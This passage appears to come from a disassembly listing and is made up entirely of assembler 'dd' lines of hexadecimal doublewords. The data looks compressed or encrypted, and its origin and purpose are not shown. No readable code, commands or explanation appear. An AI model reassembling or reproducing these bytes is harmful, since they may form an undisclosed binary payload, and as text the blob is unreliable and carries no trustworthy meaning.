0BD9BC1B3h dd 0D06F3C1Ch, 8AB9C91h, 39985021h, 0E07675FAh, 2477F4E6h dd 65807363h, 6E0A14E3h, 49CABFC8h, 62509399h, 336F189Bh dd 0B8492C28h, 787143E2h, 61724619h, 0CE594878h, 6534DC0h dd 54524356h, 0EC89182Eh, 0F85A2128h, 0D904941h, 3215CFD8h dd 0A433735Fh, 9A7C4C18h, 6586535h, 0C694684h, 0E1A4170h dd 2E185303h, 0B9C8DB0Bh, 309B7562h, 2E822A73h, 6F797A58h dd 51E057A6h, 0B8540332h, 81BA886Dh, 0AF50283Eh, 7E446368h dd 0A2347036h, 28A8249h, 19364A52h, 0C5474D17h, 9B1548Fh dd 284F027Ch, 75C12BD1h, 0C49F4701h, 15641E4Dh, 4E2A736Ch dd 77C5CAAFh, 66135216h, 73B2921h, 1D727543h, 3E99DE7Ah dd 0AB103049h, 3B0D62AAh, 4511EA44h, 0D043DB24h, 87E18C74h dd 316AEE02h, 1A895908h, 0A662F469h, 0E86BE0Dh, 8CB565ADh dd 7075F401h, 4325696Ch, 3A29D40Ah, 5088526Ch, 2C45C838h dd 53020D1Ch, 68D1431Ah, 87E924F6h, 57039786h, 359969C4h dd 3C04C5C3h, 8983614Ch, 6F7E2645h, 703D9A8Eh, 2679C241h dd 55AF3850h, 98521C9Fh, 1C0D55D1h, 537B6441h, 2480FACh dd 74CED44Ch, 95FF6A90h, 99A79B8h, 74D026Bh, 42F77403h dd 3C54B8CCh, 0D650576Fh, 32686E43h, 0D38B90Ah, 41C47953h dd 0A8694451h, 6F50C472h, 0AC91142Dh, 0EB4A5447h, 48343026h dd 0AE4D0E2Ch, 51868CBCh, 9CA01CE9h, 522B90EAh, 5D24173h dd 996C034Ah, 0FF1994DFh, 0D00252E0h, 9A6CE224h, 61B306DEh dd 7649584Eh, 0DF25C878h, 3C15644h, 6EF96973h, 4822DE46h dd 26DF3C0Ch, 922E24D7h, 0FAD07272h, 62320609h, 0A039368h dd 158B7453h, 4628EE75h, 9EBADE2Ah, 84416E6Bh, 84617053h dd 4B400815h, 4F844444h, 7954EF80h, 0D57BCA70h, 0B0C62010h dd 75A8C53Ch, 9AB6906Eh, 8DF15102h, 85079B2h, 2878FEA4h dd 7F6CD9B0h, 1226B371h, 0BE998279h, 48358A1Ch, 120226FCh dd 12427349h, 881A355Bh, 0B6995224h, 0DB3736CFh, 0FD441906h dd 8ECA9C21h, 6C7AACA5h, 0E415D172h, 8BF8532Ah, 428F82D7h dd 174608B8h, 434782F3h, 76762BB0h, 0E41FEE2Fh, 6E5BE870h dd 5503051Fh, 708F036Eh, 77F06956h, 2699664Fh, 0DA105E92h dd 474EF210h, 1A35B7A2h, 4767129Ah, 0EB03B338h, 192637B3h dd 6E62DE50h, 248D4376h, 8D966DC4h, 0CDEC6156h, 29D02262h dd 652426BCh, 0B956B92Ah, 5A65650Ch, 494D5432h, 2193788Ah dd 6422520Ah, 935BD496h, 52E14BC4h, 624CFD4Eh, 8BD58BFAh dd 7AD83B52h, 0C6229956h, 93F57654h, 50361779h, 0CD67FC74h dd 930757Eh, 4786611Ch, 0CC0D9AC4h, 349A3A4Ah, 0A24D14C9h dd 446761CAh, 19724F6h, 4FB12474h, 0C706C66h, 0B5754E28h dd 2E63BCCCh, 0EE536855h, 1C9C374h, 4DB1A2DEh, 0BE244B9Eh dd 590ED214h, 76DD907Fh, 0E2877565h, 2F261216h, 141C913Fh dd 0FD7910D9h, 902096A1h, 0D1F394ECh, 0C1234111h, 501444F9h dd 0CDA212E9h, 680B66AAh, 21236548h, 327355CEh, 29A0C9A0h dd 746D032Ah, 61F93452h, 5025852Ch, 5270F6EDh, 566F1696h dd 17A952EBh, 8550D20Ch, 6341268Ch, 6B691E70h, 33813728h dd 50B15644h, 6D64A49h, 68530107h, 0D2A4F594h, 0DF7A2A0Fh dd 1448923Eh, 0BDA06766h, 0D2935F01h, 34376910h, 1C966F18h dd 14C515F0h, 2D6D7D48h, 0B752C294h, 51A13892h, 928C2C45h dd 580E5032h, 0B2317B58h, 4E62D30Fh, 55234075h, 58AA4541h dd 522C6058h, 93698B02h, 0D84F8340h, 52554145h, 1908454h dd 80B9EEh, 0 dd 41303898h, 40095C32h, 1501424h, 0CB978D00h, 0E2AB90AFh dd 0B8CCB41Eh, 0D4EAE387h, 0BAB0E72Fh, 0B5B99460h, 0E58300DBh dd 0F0E89089h, 8E38C6D2h, 9AEB9C82h, 0A18D8023h, 87A28FFEh dd 0E592CC1Dh, 0F6C7961Ch, 0B8F0DACFh, 29B4C4BAh, 0F81CA399h dd 8878BCACh, 0B9CE9800h, 0D2F1C5A3h, 0B0876FDBh, 95A79E40h dd 96E498D7h, 0EAF3AD1Ch, 0A890CC87h, 0A69EFBD1h, 0A93C911Bh dd 703340Ch, 25023430h, 20806E75h, 28746F62h, 0BB29733Bh dd 6E3EFD66h, 69779F64h, 74FF685Eh, 67F87277h, 0C82257F9h dd 4E0A2E1Ch, 0D63D266Fh, 1C24F424h, 7CE7176Dh, 0D510DF1Ah dd 817C1028h, 2DF09529h, 20469E79h, 0D05E694Ch, 56905C5Dh dd 0A8AB3AB8h, 0A7207E46h, 694B8708h, 0C2291D6Ch, 0D80E4D9Ah dd 6D432838h, 652E640Eh, 70204078h, 0F0636F72h, 6878C673h dd 747F0861h, 40DE6DFAh, 0D0360E76h, 6C20AC40h, 3FAEBAFBh dd 1261B772h, 8CDA2CBDh, 0AC6D58DCh, 0B12E6F31h, 0D9C4414h dd 0CF287245h, 0CE68FC36h, 6321C5A0h, 7DB33775h, 0E361C55Ah dd 0D319770h, 6552080Ah, 3E986DFBh, 68CE9467h, 6F816353h dd 936EC270h, 0A43863A0h, 0EC537669h, 566A9114h, 740C9122h dd 66322E19h, 5CA3731Eh, 911421EAh, 424B0D33h, 98AB2F2Fh dd 4857683Ch, 0DB58A18Bh, 94627781h, 29835360h, 6A4F2074h dd 0AD7766Fh, 3CE87254h, 3A7666BDh, 4BD36F20h, 404163A3h dd 1184448Bh, 0F7B6A0E2h, 0B9E6455h, 107DC33h, 441C4344h dd 0EA4E7745h, 0FD20DC22h, 25644C74h, 49010C99h, 7A1B16E4h dd 94281389h, 2A142908h, 0F185CC72h, 7503465Bh, 0F8A203F6h dd 8C13108Ah, 670A4C2Dh, 923AEEA1h, 0BE1075C6h, 1406B918h dd 51C8434h, 20544547h, 488C4E2Fh, 6501EFEh, 2C302E31h dd 6A986FF4h, 226979DDh, 55E4F421h, 70872987h, 292E8919h dd 484A1364h, 6C2626FAh, 0EE7E3DB3h, 9A667269h, 0A42C8777h dd 0EB64D157h, 0E7BF6EC3h, 513C7B61h, 1A5C5BE1h, 2D576261h dd 43EBFAD1h, 53F328C4h, 0C26463B2h, 71E1664Ch, 49597957h dd 0E868A57Eh, 0CCBE8532h, 9C2CC9F4h, 0CC19D0E2h, 0B45194Ch dd 0B59600Eh, 8919CD41h, 0E31B5E19h, 92F6470h, 3936443Ah dd 27667407h, 242FC670h, 61A12290h, 75236079h, 32317362h dd 6E170831h, 8303806h, 0DA4687Ch, 439A6485h, 9B9C6560h dd 10C56C73h, 0F49174D1h, 77300CA9h, 59EB1CB8h, 0BE4DA99h dd 0EC42BC8Bh, 1111A439h, 4544B270h, 1A91ED80h, 0E4254770h dd 31362416h, 55511303h, 3A350A49h, 0B4AB29C0h, 0A0142963h dd 54A7A442h, 623EAAA0h, 1E835275h, 0BEFC6F4Dh, 9A0FD96Ch dd 0B0444E70h, 0E8637C95h, 0D1687873h, 74481960h, 0B13D4E14h dd 41183A48h, 38300E58h, 421290EBh, 421443A2h, 49538444h dd 23144472h, 53905042h, 51449A2h, 47414C46h, 2E0C4953h dd 28894C08h, 1854ED1Fh, 22A47EC9h, 0DD02B41Ah, 75890224h dd 4F52BC99h, 58450EDAh, 54506043h, 6E4E4F49h, 29FC8E5Fh dd 0FB9CCE10h, 56FECFF4h, 0CF451E7Dh, 5ACE5942h, 0A4F52C7h dd 0D9537920h, 0DB4BED41h, 326F56CBh, 1C57EA74h, 0F70896D3h dd 0A01606B7h, 4C424155h, 0D01980D1h, 5242E124h, 0F74B0B20h dd 3CCF46E7h, 1438AC9Bh, 0F2DFF753h, 348FD828h, 9C4CB13Fh dd 0ACD64147h, 2952FC9Ch, 211F4355h, 94FD6F20h, 0F5708F48h dd 0E9720F74h, 4547ABCFh, 1292F706h, 538E4F63h, 453CC1D2h dd 93F53878h, 586E440Eh, 0B0642E3Fh, 0D450E065h, 4D7CAE32h dd 3E6DAD43h, 44185770h, 7004CC63h, 0CA1847F7h, 12669A24h dd 0B1D4CC4Bh, 436FE9BCh, 7848671Ch, 0D56D3A9Fh, 1B19A30Fh dd 32737781h, 0AECE335Fh, 4E570633h, 235BB9FBh, 8ACEA483h dd 76185732h, 0D0774146h, 2AF42D92h, 6D526514h, 61509AC4h dd 52FD9C1Bh, 0B3BB45EAh, 2A753248h, 80984E19h, 7D63531Ch dd 6939968h, 4F626F4Ah, 230BED1h, 75426970h, 550C5866h dd 92C2D046h, 85FB5114h, 30444F54h, 61685310h, 85453AC9h dd 10316D28h, 5EA27355h, 510C840Fh, 181DB744h, 19AA581Dh dd 1D49496Ah, 61355895h, 0B40629D0h, 32C72E02h, 0A9CE61F7h dd 15642C7Ah, 5316CA63h, 2941C7CCh, 0DE52940Dh, 0FFF7CC70h dd 0B26B5124h, 38296C45h, 55C86C31h, 90CC9053h, 4E09817Eh dd 0FA558DDh, 6CDC40B4h, 894ECB6Ch, 0CBF94264h, 767C2567h dd 0AC9EE4AFh, 0D5B4497Ch, 0B3214957h, 80338B31h, 0EFB9A9h dd 0D184E3D5h, 91E4DC99h, 60B4F0EEh, 401D5CC7h, 4363C0D2h dd 3119C324h, 8282E30h, 36F09B39h, 208B3879h, 88B3718h dd 936898BFh, 7003D63Fh, 31533A71h, 27F49F10h, 9828106Dh dd 8A608D0h, 0E8474C2Eh, 0BA269C2Ch, 0AB18729Ah, 904D324Ah dd 946D7250h, 0B2C4D06h, 0A462518h, 0CCA4E601h, 509D9152h dd 20D0F73Ch, 0E814299Eh, 0AACC240Fh, 0F659AE93h, 0A2D99879h dd 3940D3F4h, 2ED40BDAh, 5112EB2h, 0BDE06873h, 0B4DCFE3Ch dd 6560F726h, 0B0A23A06h, 0C8911042h, 5832300Ah, 9906DD0h dd 48298908h, 0CC3084Bh, 4D4C1031h, 55474318h, 0D80A5221h dd 0B019C33Dh, 84CA009h, 126C8990h, 483C245Ch, 4F14E428h dd 0EC3230FCh, 0C424D809h, 9091A448h, 64537422h, 44542208h dd 0F888182Ch, 108D13Bh, 0FBA79380h, 9500BA89h, 0EACD91D1h dd 0FF0E8B6h, 0BB8CDBC5h, 0ADBEB8A0h, 980AD296h, 208DAFCBh dd 0E0ABB780h, 289B98Bh, 0AF9792CCh, 34B0E387h, 0E87FBE9Fh dd 0DF85BC00h, 91A5D083h, 0C1C83BA6h, 0EEAC870Fh, 0E0A19A87h dd 0EAC096C9h, 0F63BE3F4h, 0BB8114D6h, 0A2BFC028h, 15FB88FFh dd 3892C683h, 0F7BEAD80h, 95059C94h, 0B2DCD9C8h, 8D3037F3h dd 0CC83B921h, 0BFEAD700h, 0D3FDD59Dh, 0B38702DDh, 0A58BD9EEh dd 0B9412C96h, 5789CD2h, 9FF6A789h, 0D7AA00BAh, 0F18BAFF7h dd 0C2D2EB1Ch, 0EAA79840h, 0F287A29Eh, 5320AC9Bh, 344610B8h dd 96B89AC0h, 0DE0AB69Eh, 14F291AFh, 9030A9C4h, 0AF56C192h dd 0B2FC8158h, 0CC01EA8Fh, 0BB285890h, 97051390h, 85DB94BAh dd 79855039h, 8481BAB2h, 983A10h, 0E998A5F5h, 0FE880EAh dd 0F1A2AE92h, 0C4D7B42Eh, 0B2203094h, 9402FFA1h, 8FDBC8BBh dd 9D1099DCh, 0BB9E4087h, 0DCA43092h, 309089B8h, 97FB8001h dd 96F1BAB0h, 2EEC6D0h, 9AA9D685h, 2499F7F5h, 26EAC5BDh dd 0BD97C03Ch, 0A5A688F9h, 0A1928044h, 0C6B99AFBh, 0DA00ED77h dd 0F0EF8DBFh, 3BA389D9h, 9401BAABh, 8ECA8FA7h, 0F49AC499h dd 2BC9F23Ch, 0B2023887h, 349AEBBDh, 760D3A5Bh, 65D0115Ch dd 6C702578h, 9853C60Eh, 66F853D9h, 0E077742Eh, 8E4D5C8Bh dd 731BDF88h, 6257D21Dh, 0F70878E1h, 6B7543E0h, 29063072h dd 65F95856h, 0FE52FD71h, 405C75C4h, 0DE683EAAh, 0AB6C391Ch dd 9D133A16h, 39075B13h, 622D6761h, 201B1CB0h, 3A32412Fh dd 0CA460A48h, 10101A34h, 0B466690Bh, 4D1C2685h, 6C67E51Ah dd 39AF7E44h, 0B8C526A0h, 0DB84622Eh, 8170AC24h, 0E34C4420h dd 0ECA49DD3h, 0ED6C9E72h, 69860283h, 9EB6935Ah, 53C4B2A5h dd 853C2F09h, 1ECECFD0h, 65E56B63h, 0C9EF2C15h, 8F708492h dd 63456A7Dh, 5E4016AEh, 3FED378Ah, 21530ACEh, 0BF6DB6F6h dd 2ECAF058h, 0B300CE03h, 0B6D5F6BDh, 4CD38926h, 805C89CBh dd 0D885CC38h, 0E99C38E4h, 90CB8E8Eh, 1424D011h, 800C83B1h dd 96EDAFBAh, 0DB883FFBh dd 0B9071C56h, 4F9CF7A1h, 8A9690C4h, 7CB026D0h, 95B89E00h dd 5DAD9D0h, 0E5A892A5h, 0F01421D5h, 0BCE06040h, 91A009C8h dd 2C44225Ch, 70F43FECh, 0EF2CA1BAh, 0DF00D495h, 9EAD9793h dd 0D3E102EBh, 0A6BF9B87h, 85FB6CC0h, 969AD115h, 89863810h dd 80F6B9B1h, 0D8DA87F8h, 98A307CAh, 0F1C4E1E8h, 30BEB192h dd 0C90EA56Ch, 0A0D196C7h, 0C5E6D990h, 0A98700C3h, 0B19EF4ABh dd 8373E1D4h, 0B7D2FB02h, 16D1C5AAh, 0B6BDAB00h, 0DB8BB49Ch dd 0E4880084h, 0C7E9EF86h, 0B12B8187h, 964170A3h, 4F70D0F9h dd 0D1863FC6h, 0CAACA800h, 0DA89D4E1h, 0CBFA8100h, 9194A9E3h dd 0E77684h, 0DEE498A0h, 0FBD8C293h, 0D8B78BA1h, 0EB38DA9Ch dd 0D4D4A8FDh, 0C084DF0Fh, 0E1A881A4h, 0B45ECCD8h, 8EEA725h dd 0A498B639h, 0EC50248Bh, 8EFA5C9Ah, 0B0DBD814h, 0D5E7A90Eh dd 0A0BB90C0h, 921ED4ECh, 803DD189h, 0EBE9ABAFh, 583CBCCh dd 88F687ACh, 0C018D4A1h, 0FCE3D170h, 2434C552h, 970048AAh dd 0D9CC87B7h, 0E1D4A0DEh, 0ACC553E8h, 87535584h, 8643928h dd 96692025h, 1630F966h, 3A533B4Fh, 8BA4914Ch, 480F5A5Dh dd 0F76CA2Ch, 63686A4h, 621CC824h, 616816CDh, 55504309h dd 58F14E52h, 48304D13h, 61522A7Ah, 1238826Dh, 0BA52F42h dd 4D962016h, 50490542h, 0E23A3676h, 558ADEA2h, 6D0A8370h dd 99533465h, 544B7961h, 9F4C864Ch, 0E0D20F42h, 49827509h dd 0F73D206Ch, 4FA16EC8h, 10B128E9h, 5A716A5Ah, 0CE149608h dd 532688B6h, 808C9397h, 31524148h, 45085744h, 5399DB5Ch dd 6C49ED43h, 1D249F47h, 25150BCBh, 7E847212h, 695C3772h dd 0E53C4EE9h, 71C5937h, 33ADCF32h, 5058C0A7h, 0E80C47E1h dd 3454D42h, 49323839h, 5351154h, 5397836Eh, 3F6D3F70h dd 6C49A709h, 3C61292Eh, 0A4773238h, 0A5814F6Bh, 0C8879C46h dd 0F0D84E15h, 0A7707954h, 5047A910h, 0BCCB6946h, 1C309A77h dd 0BE4C6816h, 79630ACAh, 0EA2C5113h, 9C838D78h, 51519869h dd 0AC2BE44Dh, 52B1D84Eh, 7E939343h, 0C249AC9Ch, 410801CCh dd 3F206176h, 54657067h, 0FA4CF142h, 0A13CE14Eh, 77B524Eh dd 296B6E80h, 4A48F50h, 418514ADh, 48D15C3Ah, 0F2746F54h dd 2C53BC20h, 7E533E72h, 21B37529h, 70730E18h, 178D10B2h dd 68518AA4h, 0C452DD71h, 104FE1F6h, 20902E47h, 8084AE7Eh dd 3E646DA1h, 76707369h, 1B2D4A63h, 0E2AD3053h, 68924A11h dd 28345178h, 8014840Ch, 0A16C62CBh, 98494439h, 0AC70B65Fh dd 0B4CE8D18h, 620A6302h, 305667CAh, 50256DF3h, 47C4A764h dd 96611A94h, 20319508h, 557DFD6Ah, 95CB974Eh, 2952A428h dd 0C7A32AE0h, 0A238B89Ch, 0C8CB5C78h, 3BE04861h, 2ECE324Ah dd 0E6E9187Eh, 307356D7h, 65CFDB93h, 9642F24h, 0F7AD4764h dd 5E5CCE4Eh, 0C3A0DA12h, 30BCBC76h, 4D434920h, 8785504Fh dd 9A0A1A84h, 706F640Ah, 736D8ADDh, 25C55A05h, 0D02BDDB9h dd 5202E62Ch, 0F2D2042Ah, 1E3A2B41h, 0CCF25423h, 135A8588h dd 9304F629h, 94E49B1Eh, 904C04ACh, 12635C49h, 47D8433Fh dd 0AE48537Bh, 493A1045h, 0CBC34558h, 5F203C43h, 49B5EE25h dd 4EDA21A2h, 227D172Eh, 0AE627318h, 0F89A5C4Eh, 0EBCA6790h dd 74350D3Ch, 3E183A19h, 17FB5BF5h, 0D6637014h, 62F718B1h dd 0A16681Dh, 67C6052Fh, 2A5D1623h, 96CC0288h, 34026CE2h dd 7468334Eh, 9570ED51h, 2369F79h, 2D7E03A2h, 6555747Ah dd 33277971h, 0A63D4754h, 0A6A90E40h, 0C86092F7h, 0A4D085DFh dd 0E1E8D109h, 90E846D4h, 27D69049h, 50BB6665h, 67C093E4h dd 0CD66854Bh, 79879F41h, 2D72EF6Bh, 3D09667Ah, 0C933D833h dd 0DA08635Bh, 32D18B32h, 0E6E54A06h, 54A2BB14h, 34874AB2h dd 2A9C6ADAh, 2CCCEA2h, 1440B269h, 0D002ABF0h, 0CD6B30C1h dd 0A2087804h, 1008904Bh, 14365753h, 3532390Eh, 0B0F18150h dd 440A548Dh, 8738BC01h, 0F03D4718h, 881401A9h, 905028F1h dd 860A48Eh, 27FC4CF0h, 0E1614052h, 290BAC20h, 2E200CD0h dd 6A757931h, 3570D938h, 0AC6EABB3h, 2B73F298h, 194B552h dd 76706903h, 0D665E234h, 54074E6Bh, 0E9109A68h, 694790FBh dd 2E0ACF58h, 5CE4C903h, 0D0215894h, 4D8ED682h, 2893343Ah dd 15C9F824h, 0A7542329h, 534E1860h, 0CC683A5Ah, 8CD2990h dd 505D73A8h, 712968Fh, 8E2D5D85h, 42908162h, 29342DE4h dd 0E4234279h, 1DF2246Dh, 8F8C3C94h, 0F4C9D02Dh, 68757405h dd 0AC15D0DCh, 850C054Fh, 82023A8h, 0AEA6C5A0h, 67302920h dd 0F1A90238h, 4B3421ABh, 2BB9C743h, 20A9E863h, 7E932969h dd 73A478F2h, 9A56E2E7h, 0A9890A2h, 0E5BB6348h, 0D4502A02h dd 0F03CB813h, 11E32BEAh, 6020940Ch, 76997085h, 81211813h dd 4F4D6012h, 5B944544h, 1CC77089h, 0F9290A4Ch, 0D18C7FE2h dd 12E72944h, 0EEC56D20h, 15B3DA24h, 846195Eh, 0DFF8516Eh dd 0F1285D8Fh, 48C3619h, 2FE1870h, 14A42E2Ch, 0A483B815h dd 4150C128h, 74415452h, 884E7AF0h, 16622B70h, 0E14A930Bh dd 0F241AE45h, 9839DA65h, 0A2A44878h, 44305EC1h, 0A52FC130h dd 96760A6Ch, 4ED871E4h, 177A0598h, 0D0686C6Eh, 0C1E024F0h dd 3379580Dh, 1C7D3A29h, 606B70C1h, 21A0505Ch, 0CA690DD1h dd 122274CAh, 0D0F96872h, 0DA607E14h, 0C062E23Ch, 48366523h dd 2B959A34h, 0C2AC9B76h, 909CCCB0h, 8E74492Fh, 0AB1637E2h dd 75BD8854h, 3C854F90h, 0D16E21BAh, 13848ECh, 2444A614h dd 6F56E070h, 0AD1E7054h, 0B5118301h, 68841BB4h, 851570A6h dd 2314269Ch, 9669A20Ch, 957015E8h, 11D21876h, 38A37CE5h dd 111060CCh, 0F08285EFh, 470F3567h, 0C341524h, 835274C1h dd 157B4E5Fh, 0A0107B94h, 0E19C263Dh, 0E0F1041Ah, 0F0681839h dd 81AC4B53h, 1DA334F1h, 300A1C4Eh, 0E168B987h, 4A07DB90h dd 0E641034h, 492D10B1h, 25986108h, 0D6B321A7h, 9825170h dd 216B5DC1h, 7F61E957h, 8C6C2B23h, 661F64E2h, 7866A575h dd 25617041h, 52796CD0h, 0B8A5382Eh, 8F2AD1B4h, 0C60B761h dd 124F5242h, 664E454Bh, 3378201Ch, 8A0C1CD0h, 8BE084BFh dd 0DEC087h, 0BEFCC6A0h, 0A68AEFE1h, 938EAA03h, 88EBFEB9h dd 2DC88DBh, 0EF99D990h, 0A894A88Ch, 1AC16012h, 840AF88Bh dd 0D0E8EBF6h, 0E6294F71h, 9CC0102Eh, 0EBDDC8Dh, 0BCF4AE92h dd 0D4A09A4Eh, 0BAFEF6D0h, 0ABFC8700h, 86D1E3CFh, 920ACCEh dd 92FFA79Ah, 0CBEC2850h, 0F39BA502h, 0E5E0D4E7h, 818D8059h dd 0A782AFDEh, 51B2EC25h, 0C8DF5884h, 0EAFCD00Ch, 0FD1A97h dd 0DBB0A195h, 90A3CA85h, 0B7CCE848h, 0F1AC30FBh, 983B497Ch dd 3ED1A1B0h, 668210A7h, 69383231h, 61E02BA9h, 2ED9962h dd 74707972h, 0ABCB36Dh, 2C2450F2h, 16E2F15Ch, 0A7643D4Dh dd 691C23E7h, 8E2242D8h, 45A90990h, 0C9C6A508h, 0C7F9BBA2h dd 0DBF39C24h, 488BCC09h, 43494E05h, 0E031C84Bh, 0CC0B362Ch dd 56769270h, 9293B897h, 5842120h, 50202040h, 56490652h dd 6D47534Dh, 6BB93AF6h, 3C093B98h, 93E813Dh, 7F211991h dd 0E52C2489h, 85213637h, 418FF666h, 85F9DA0Ch, 6C1855B8h dd 8427DE85h, 0E0FD7387h, 0C975139Fh, 3325C069h, 1AC9325Dh dd 90A3631h, 3A77AE0Ah, 9245FC08h, 0F4BCA945h, 3AF50BAAh dd 3667E46Ch, 0BF083702h, 908865Fh, 47504CAh, 86250CA1h dd 973947A1h, 43421A24h dd 5A4B4E55h, 0CD598508h, 0ECC0E30h, 34534150h, 4F4E094Fh dd 451A0554h, 0F12B185Ch, 41501B4Bh, 0DAF6A309h, 481C9C26h dd 9465A2Ch, 2C223087h, 1820FD9Ch, 632C2A57h, 285B5D10h dd 0A6DA3308h, 401C8180h, 0E7C0F917h, 31533534h, 4F481D98h dd 53EC1265h, 2B893D68h, 0B80E6978h, 5310312Ah, 0DE416D9Ah dd 0D3F42875h, 0E3520C88h, 6CB29DEBh, 0DEA0A271h, 49530F8Ch dd 310CD4F2h, 0C5676590h, 0FCB06564h, 2E2D3176h, 14BD6236h dd 6BF99E20h, 0EF784A6Ah, 4428ABCBh, 352951EDh, 3D50B903h dd 85347B2h, 351B8A70h, 0AF0C2DC5h, 85FFEB51h, 0F2F13057h dd 0A843FC0Eh, 4C6F0C53h, 0D09008B5h, 2A924E90h, 42985454h dd 46624360h, 5A494847h, 625C54Ah, 0C2515025h, 56555401h dd 5A595857h, 67CBBE6Ch, 6B6A6481h, 9F4446Ch, 2C8871C7h dd 777601F9h, 207A7978h, 3348320Fh, 38F45030h, 2F2B3917h dd 0D4D34CF2h, 2D096201h, 5241E156h, 74E17761h, 0E5009D2Bh dd 493F226Fh, 0CA70273Dh, 0DE34C690h, 0AFE2ED0Eh, 5C2C1A55h dd 41208932h, 0F34E7D54h, 1F7F06F1h, 0DF442510h, 0EB501C81h dd 0ADC22A4Ah, 19056464h, 601FBFFh, 18FDD803h, 54631F81h dd 0C31A604Bh, 5C0728F5h, 400DC28Fh, 7056010Ah, 77448C01h dd 7509C876h, 0F326C687h, 0F29267F1h, 198772F9h, 0C0F9D463h dd 750362C3h, 8517331h, 71DD64B8h, 7BFB0F0Ah, 0D50780ABh dd 3ED773Ah, 5C7C941Eh, 89C0DB56h, 0B8F8FD1Fh, 96E21621h dd 33CA45EBh, 3489BC2Eh, 5C0F0430h, 52BFBC31h, 7209DC04h dd 0B777478h, 1542705Fh, 6518DF54h, 0D42F3241h, 20321F07h dd 3AD3A3Ah, 61240968h, 28A9682Ah, 4DE5F268h, 10318A10h dd 7FD827h, 0FFCA8166h, 5200420Fh, 0CD58026Ah, 53C2Eh dd 0B8EF745Ah, 4A9D5E21h, 0AFFA8B06h, 3906EA75h, 2451FFE7h dd 4151204h, 7C36E808h, 0F7828528h, 0B27C2FA0h, 0A089204h dd 0FC480804h, 56708ABh, 10030B01h, 948A999h, 16D0117Fh dd 4E9C04A1h, 5CA00599h, 7A4C0A5h, 4004642h, 0EB8A885Dh dd 110EC91Ch, 208E89Fh, 7948102Bh, 583A4CC1h, 42E098B0h dd 0C3C08AAh, 180048Ch, 0FD28E0CCh, 0C82047Fh, 8086ADD0h dd 0E581E876h, 7886FA09h, 6483104h, 2432B020h, 0CCFD0058h dd 0B0496445h, 0AE00DD70h, 0D2962C74h, 0AE0D5E60h, 1970641Ch dd 167C4F02h, 4C003C8Dh, 0E2F19680h, 0CE4D072Ah, 6AA611h dd 726EAF20h, 290CF437h, 425241F1h, 1C0D3458h, 22BAADF0h dd 0BF4A81Ch, 20036008h, 454D0904h, 0DD49574Fh, 12F05FA2h dd 2E0338h, 28293032h, 10011898h, 0CC670490h, 440AC803h dd 0D8141848h, 8998D068h, 87F81707h, 3CD28C4h, 8702964h dd 0B95620A6h, 10ABCA74h, 231FA5D9h, 7CA4E4A6h, 0AA918FADh dd 60740EF4h, 4A582210h, 0D2446590h, 8CD67891h, 0D83C01C5h dd 0B64F8850h, 0FF20881Bh, 0F42E8403h, 46486062h, 0EE664804h dd 0A4020915h, 28C510B2h, 0C1978E1h, 1C22B44Dh, 98D87081h dd 0D24FC893h, 3DA91103h, 2CB257BEh, 23A63221h, 3D809258h dd 0E010EE8h, 10144318h, 6A04608Ah, 1FC051F8h, 6ED23B21h dd 0C5810014h, 0E800317h, 99714AE9h, 508AF101h, 2857A6Fh dd 0E890E45Ah, 604630F2h, 0D8186E54h, 0E82CDA5Eh, 0C2F2B20h dd 803940Ch, 6D2CD5B4h, 8099DE28h, 0B248262Eh, 90E2768h dd 8B07A40Fh, 7C02040Bh, 9708A520h, 13DAA55Ch, 24834308h dd 36310D24h, 341CCCACh, 361A351Ch, 0B3023718h, 6F8364F8h dd 78B66382h, 0D9C01AB7h, 2A888A09h, 0F80215CCh, 188C28C6h dd 0C00067F1h, 2180310h, 2E1663C6h, 810139Dh, 98221C55h dd 5C0A0D05h, 0D7562F5Fh, 3EC28869h, 4AB80680h, 1C4D9F00h dd 8611CF7Dh, 0BD4B11Eh, 88BD577Ch, 1752542Ch, 1383201h dd 7D580CB8h, 40007571h, 0BC47C6EBh, 0AA74E71h, 97B5D01Ch dd 9497432h, 4034B599h, 0A442E0CFh, 91C6882h, 38915A96h dd 84B29CDh, 24448B00h, 0FAE005FCh, 8FEB4AB2h, 7F304518h dd 700BFB95h, 2810EB39h, 4F02D19h, 103666B3h, 35108704h dd 0B098BCE4h, 25F33723h, 3C01EB77h, 0C118759Fh, 0B402459h dd 50CC1BE2h, 0A8F45906h, 9FF851Fh, 72424D53h, 0C8CAE99Bh dd 0FF2AC8BCh, 625007FEh, 430050B7h, 54454E20h, 5B524F57h dd 9D941D4Bh, 4D41CF47h, 6C13109h, 641E6B02h, 0B5606B4h dd 0D74EC6E7h, 6B08CC25h, 75FC6777h, 331E7060h, 0CC61312Eh dd 32484D51h, 5D84584Eh, 2EDD3367h, 549B16BCh, 309B3220h dd 71A6167Eh, 218CA452h, 0BD079073h, 840CA242h, 0C581A4DCh dd 0A7360A11h, 807CB0D3h, 9AD96970h, 50C55398h, 97043B23h dd 8AE00882h, 119D296h, 92336E4Ah, 73367738h, 3055EA77h dd 6E6EA02h, 35563970h, 703CF624h, 4F4EF92Eh, 0D8ACDA2Bh dd 43842008h, 5957C8DAh, 32E0B9Fh, 3246E51Fh, 8994724h dd 6380F40h, 0FD838672h, 15204195h, 30E0888Ah, 44E04FF3h dd 198180h, 0E4F27A6Ah, 0AF281C49h, 74253002h, 97536710h dd 485CD9E2h, 6D8D75E0h, 256B2154h, 985E367h, 0E4B231BEh dd 89326206h, 180A10D6h, 54BE0838h, 39CE3078h, 9B500B49h dd 3F02213Eh, 64284738h, 0A0A24364h, 8204DC08h, 0C818F706h dd 0A6BADE71h, 9F7AB897h, 0C5AABB01h, 402C9C03h, 38A5CB3h dd 6C458C11h, 7512DA52h, 970D40Eh, 0C8A75963h, 0AD25116Ch dd 0EE10A002h, 1C4EFB4Bh, 4C295437h, 0C9CD26B7h, 0B8944659h dd 45CBCC50h, 84CDD43Ah, 0B83E0111h, 843404EBh, 19286A00h dd 0D0B10C39h, 0A89B2C11h, 0D94F02DFh, 84EFF52Eh, 570C024Ch dd 60E2A4F4h, 850CA010h, 0A40A28CDh, 0F742B13Dh, 0CA06208h dd 0ECE28831h, 46EC47A4h, 14950908h, 7C501840h, 110C970h dd 82148CFh, 1489D1FCh, 85780EBFh, 5BAB0113h, 22DE9A6h dd 1411F889h, 0FFC40E2Fh, 660E22FEh, 0AC339924h, 90847FDh dd 84D8313h, 86B98F44h, 0DAB705EEh, 64102F25h, 93200Ch dd 0C80DAD08h, 0F02CC08h, 0B880D849h, 70014018h, 0F842184h dd 80285273h, 4B3C958Dh, 4202C880h, 6C310F84h, 13032E2h dd 7091A89Ah, 